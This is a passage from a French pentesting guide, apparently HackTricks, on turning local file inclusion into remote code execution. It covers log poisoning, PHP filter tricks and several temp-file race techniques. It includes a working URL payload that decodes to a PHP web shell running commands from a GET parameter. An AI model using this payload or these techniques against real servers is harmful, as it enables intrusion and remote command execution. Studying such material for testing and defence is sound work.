Les logs de ce serveur FTP sont stockés dans _**/var/log/vsftpd.log.**_ Si vous avez un LFI et pouvez accéder à un serveur vsftpd exposé, vous pourriez essayer de vous connecter en définissant le payload PHP dans le nom d'utilisateur, puis accéder aux logs en utilisant le LFI.
|
|
|
|
### Via le filtre base64 de php (utilisant base64)
|
|
|
|
comme montré dans [cet](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, le filtre base64 de PHP ignore simplement les Non-base64. Vous pouvez utiliser cela pour contourner la vérification de l'extension de fichier : si vous fournissez du base64 qui se termine par ".php", il ignorera simplement le "." et ajoutera "php" au base64. Voici un exemple de payload :
|
|
```url
|
|
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
|
|
|
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
|
```
|
|
### Via php filters (aucun fichier nécessaire)
|
|
|
|
Ce [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) explique que vous pouvez utiliser **des filtres php pour générer un contenu arbitraire** en sortie. Ce qui signifie essentiellement que vous pouvez **générer du code php arbitraire** pour l'inclusion **sans avoir besoin de l'écrire** dans un fichier.
|
|
|
|
{% content-ref url="lfi2rce-via-php-filters.md" %}
|
|
[lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via segmentation fault
|
|
|
|
**Téléchargez** un fichier qui sera stocké de manière **temporaire** dans `/tmp`, puis dans la **même requête,** déclenchez un **segmentation fault**, et alors le **fichier temporaire ne sera pas supprimé** et vous pourrez le rechercher.
|
|
|
|
{% content-ref url="lfi2rce-via-segmentation-fault.md" %}
|
|
[lfi2rce-via-segmentation-fault.md](lfi2rce-via-segmentation-fault.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via Nginx temp file storage
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** et que **Nginx** est utilisé devant PHP, vous pourriez obtenir un RCE avec la technique suivante :
|
|
|
|
{% content-ref url="lfi2rce-via-nginx-temp-files.md" %}
|
|
[lfi2rce-via-nginx-temp-files.md](lfi2rce-via-nginx-temp-files.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via PHP\_SESSION\_UPLOAD\_PROGRESS
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** même si vous **n'avez pas de session** et que `session.auto_start` est sur `Off`. Si vous fournissez le **`PHP_SESSION_UPLOAD_PROGRESS`** dans des données **multipart POST**, PHP **activera la session pour vous**. Vous pourriez abuser de cela pour obtenir un RCE :
|
|
|
|
{% content-ref url="via-php_session_upload_progress.md" %}
|
|
[via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via temp file uploads in Windows
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** et que le serveur fonctionne sous **Windows**, vous pourriez obtenir un RCE :
|
|
|
|
{% content-ref url="lfi2rce-via-temp-file-uploads.md" %}
|
|
[lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via phpinfo() (file\_uploads = on)
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** et un fichier exposant **phpinfo()** avec file\_uploads = on, vous pouvez obtenir un RCE :
|
|
|
|
{% content-ref url="lfi2rce-via-phpinfo.md" %}
|
|
[lfi2rce-via-phpinfo.md](lfi2rce-via-phpinfo.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
|
|
|
Si vous avez trouvé une **Local File Inclusion** et que vous **pouvez exfiltrer le chemin** du fichier temporaire MAIS que le **serveur** **vérifie** si le **fichier à inclure contient des marques PHP**, vous pouvez essayer de **contourner cette vérification** avec cette **Condition de Course** :
|
|
|
|
{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %}
|
|
[lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Via eternal waiting + bruteforce
|
|
|
|
Si vous pouvez abuser de la LFI pour **télécharger des fichiers temporaires** et faire en sorte que le serveur **suspende** l'exécution de PHP, vous pourriez alors **forcer le nom des fichiers pendant des heures** pour trouver le fichier temporaire :
|
|
|
|
{% content-ref url="lfi2rce-via-eternal-waiting.md" %}
|
|
[lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md)
|
|
{% endcontent-ref %}
|
|
|
|
### Jusqu'à l'erreur fatale
|
|
|
|
Si vous incluez l'un des fichiers `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Vous devez inclure le même deux fois pour provoquer cette erreur).
|
|
|
|
**Je ne sais pas en quoi cela peut être utile, mais cela pourrait l'être.**\
|
|
_Même si vous provoquez une erreur fatale PHP, les fichiers temporaires téléchargés en PHP sont supprimés._
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (5).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
## Références
|
|
|
|
[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\
|
|
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
|
|
|
{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}
|
|
|
|
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
|
|
|
Rejoignez le serveur [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) pour communiquer avec des hackers expérimentés et des chasseurs de primes de bugs !
|
|
|
|
**Aperçus de Hacking**\
|
|
Engagez-vous avec du contenu qui plonge dans le frisson et les défis du hacking.
|
|
|
|
**Nouvelles de Hacking en Temps Réel**\
|
|
Restez à jour avec le monde du hacking en évolution rapide grâce à des nouvelles et des aperçus en temps réel.
|
|
|
|
**Dernières Annonces**\
|
|
Restez informé avec les derniers lancements de primes de bugs et les mises à jour cruciales de la plateforme.
|
|
|
|
**Rejoignez-nous sur** [**Discord**](https://discord.com/invite/N3FrSbmwdy) et commencez à collaborer avec les meilleurs hackers dès aujourd'hui !
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs.
|
|
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|